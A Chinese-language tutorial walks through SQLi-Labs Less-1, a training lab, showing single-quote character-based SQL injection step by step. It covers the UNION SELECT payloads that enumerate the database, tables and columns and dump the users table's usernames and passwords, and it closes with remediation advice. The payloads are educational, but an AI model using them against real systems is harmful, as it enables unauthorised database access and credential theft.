SQLi-Labs Less-1 通关教程
一、关卡核心信息
- 漏洞类型:GET型单引号字符型SQL注入
- 核心场景 :通过URL参数传递的
id值未做过滤,可构造恶意SQL语句获取数据库信息 - 前置条件:已搭建SQLi-Labs靶场(PHP+MySQL环境,如phpStudy、XAMPP)
- 工具准备:浏览器(Chrome/Firefox)、Burp Suite(可选,抓包辅助)
二、通关步骤
步骤1:判断注入类型与闭合方式
- 访问Less-1关卡地址:
http://[靶场IP]/sqli-labs/Less-1/?id=1- 正常回显:页面显示
Your Login name:Dumb和Your Password:Dumb,说明id=1的查询结果正常返回。
- 正常回显:页面显示
- 构造测试语句,判断闭合方式:
- 输入:
http://[靶场IP]/sqli-labs/Less-1/?id=1' - 回显结果:出现MySQL语法错误
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1。 - 关键分析:错误提示中出现
'1'',说明传入的1'被拼接成了WHERE id='1'',单引号未被过滤,且原SQL语句用单引号包裹参数 ,确认是单引号字符型注入。
- 输入:
- 验证闭合有效性:
- 输入:
http://[靶场IP]/sqli-labs/Less-1/?id=1'--+ - 说明:
--+是SQL注释符(+在URL中等效于空格),作用是注释掉后面的多余单引号,使SQL语句恢复正常。 - 回显结果:页面恢复正常显示,验证闭合方式正确。
- 输入:
步骤2:查询数据库基本信息(联合查询注入)
核心原理:利用UNION SELECT联合查询,拼接恶意SQL语句,读取数据库隐藏信息。
- 确定查询字段数(判断原SQL语句SELECT后的字段数量):
- 输入:
http://[靶场IP]/sqli-labs/Less-1/?id=1' order by 3 --+- 回显正常:说明原查询有3个字段。
- 若输入
order by 4,会报错,进一步验证字段数为3。
- 输入:
- 构造联合查询,查看回显位置:
- 输入:
http://[靶场IP]/sqli-labs/Less-1/?id=-1' union select 1,2,3 --+- 说明:将
id改为-1,让原查询无结果,强制显示联合查询的内容;1,2,3为占位符,测试哪些位置会在页面回显。 - 回显结果:页面显示
2和3,说明第2、3字段是可回显的位置,后续可替换为查询语句。
- 说明:将
- 输入:
步骤3:获取数据库核心信息
(1)查询当前数据库名
-
输入Payload:
http://[靶场IP]/sqli-labs/Less-1/?id=-1' union select 1,database(),user() --+ -
回显结果:
database()会显示当前数据库名(默认是security),user()显示数据库连接用户(如root@localhost)。
(2)查询数据库中的表名
-
输入Payload:
http://[靶场IP]/sqli-labs/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+ -
关键说明:
information_schema.tables:MySQL系统表,存储所有数据库的表信息;table_schema='security':限定查询security数据库下的表;group_concat():将多个表名拼接成一行显示,避免分页。
-
回显结果:可看到
security数据库下的表(如users、emails、uagents等),核心目标表为users(存储账号密码)。
(3)查询users表的字段名
-
输入Payload:
http://[靶场IP]/sqli-labs/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+ -
回显结果:显示
users表的字段(如id、username、password)。
(4)查询users表中的账号密码
-
输入Payload:
http://[靶场IP]/sqli-labs/Less-1/?id=-1' union select 1,group_concat(username,':',password),3 from security.users --+ -
回显结果:显示所有用户的账号密码(如
Dumb:Dumb、admin:admin、test:test等),完成核心数据窃取。
步骤4:通关验证与总结
- 核心成果:通过构造合法的SQL注入语句,从无权限状态获取到数据库名、表名、字段名、用户凭证等敏感信息;
- 漏洞本质:后端代码未对用户输入的
id参数做过滤/转义,直接拼接进SQL语句执行,导致注入漏洞; - 修复建议:
- 对用户输入进行严格过滤(如过滤单引号、注释符等);
- 使用预编译语句(Prepared Statement),避免SQL语句拼接;
- 限制数据库账号的查询权限,禁止前端账号访问
information_schema系统表。
三、关键知识点梳理
- 字符型注入与数字型注入的区别 :
- 字符型:参数被单/双引号包裹,需先闭合引号再构造语句;
- 数字型:参数无引号包裹,可直接拼接
union select。
- URL编码注意事项 :
- 空格在URL中可替换为
+或%20; - 特殊字符(如
&、=)需编码,避免截断参数。
- 空格在URL中可替换为
- 注释符的使用 :
--+、#(URL中需写为%23)均可注释后续SQL语句,优先用--+适配更多场景。
四、实操截图标注建议(图文并茂适配)
- 截图1:正常访问
id=1的页面,标注"正常回显状态"; - 截图2:输入
id=1'的报错页面,标注"单引号触发语法错误,确认字符型注入"; - 截图3:联合查询显示数据库名的页面,标注"核心Payload与回显结果";
- 截图4:获取
users表账号密码的最终页面,标注"敏感数据泄露成果"。
总结
Less-1作为SQLi-Labs的入门关卡,核心考察单引号字符型联合查询注入 的基础逻辑。通关关键在于:先判断注入类型与闭合方式,再通过order by确定字段数,最后利用union select逐层查询数据库、表、字段、数据。掌握该关卡的思路后,可快速迁移到其他字符型注入场景,是SQL注入入门的核心基础。